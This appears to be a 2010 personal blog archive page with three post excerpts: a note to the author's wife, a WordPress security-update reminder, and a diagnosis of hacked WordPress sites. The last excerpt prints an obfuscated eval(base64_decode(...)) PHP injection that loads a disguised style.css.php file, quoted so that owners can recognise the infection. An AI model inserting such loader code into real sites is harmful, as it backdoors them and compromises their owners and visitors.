Year: 2010
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To My Loving Wife Sarah
2010 was a pretty great year, wasn’t it? There’s no denying that the hectic rush building up to our beautiful wedding was a bit maddening for the both of us. And I can still be a pretty hard person to get along with sometimes. But looking back on everything that’s happened, I’m happy we got…
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Friendly WordPress Upgrade Reminders
If you weren’t already aware, the gang at WordPress just shipped a pretty critical security update. In fact, it’s kind of a big deal. So much so that I went around and patched all my sites the second their update on the matter hit my phone. Since I’ve put a lot of energy into helping…
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WordPress, style.css.php and You
I’ve been seeing this code crop up a lot in some of the recent WordPress hacks that I’ve had to diagnose: < ?php /**/eval(base64_decode(‘aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL3VzZXIvZG9tYWluLmNvbS93cC1pbmNsdWRlcy9qcy90aW55bWNlL3RoZW1lcy9hZHZhbmNlZC9za2lucy93cF90aGVtZS9pbWcvc3R5bGUuY3NzLnBocCc7aWYoZmlsZV9leGlzdHMoJEdMT0JBTFNbJ21mc24nXSkpe2luY2x1ZGVfb25jZSgkR0xPQkFMU1snbWZzbiddKTtpZihmdW5jdGlvbl9leGlzdHMoJ2dtbCcpJiZmdW5jdGlvbl9leGlzdHMoJ2Rnb2JoJykpe29iX3N0YXJ0KCdkZ29iaCcpO319fQ==’)); ?> Most folks with this issue have a problem with “wp-login.php” returning a blank page for users trying to get into “wp-admin” — so if you’re seeing that, it may be…